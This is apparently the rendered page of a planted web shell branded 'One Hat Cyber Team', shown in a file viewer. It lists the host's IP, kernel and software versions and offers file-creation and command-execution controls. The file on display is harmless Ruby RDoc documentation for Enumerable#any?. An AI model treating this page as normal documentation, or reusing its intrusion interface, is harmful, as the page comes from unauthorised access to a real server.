⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Enumerable
/
View File Name :
any%3f-i.ri
U:RDoc::AnyMethod[iI" any?:ETI"Enumerable#any?;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"JPasses each element of the collection to the given block. The method ;TI"Greturns
true
if the block ever returns a value other ;TI"Fthan
false
or
nil
. If the block is not ;TI"Kgiven, Ruby adds an implicit block of
{ |obj| obj }
that ;TI"Iwill cause #any? to return +true+ if at least one of the collection ;TI"%members is not +false+ or +nil+.;To:RDoc::Markup::BlankLine o; ; [I"BIf instead a pattern is supplied, the method returns whether ;TI"@
pattern === element
for any collection member.;T@o:RDoc::Markup::Verbatim; [I"@%w[ant bear cat].any? { |word| word.length >= 3 } #=> true ;TI"@%w[ant bear cat].any? { |word| word.length >= 4 } #=> true ;TI"A%w[ant bear cat].any?(/d/) #=> false ;TI"@[nil, true, 99].any?(Integer) #=> true ;TI"@[nil, true, 99].any? #=> true ;TI"@[].any? #=> false;T:@format0: @fileI"enum.c;T:0@omit_headings_from_table_of_contents_below0I"cenum.any? [{ |obj| block }] -> true or false enum.any?(pattern) -> true or false ;T0[ I"(*args);T@ FI"Enumerable;TcRDoc::NormalModule00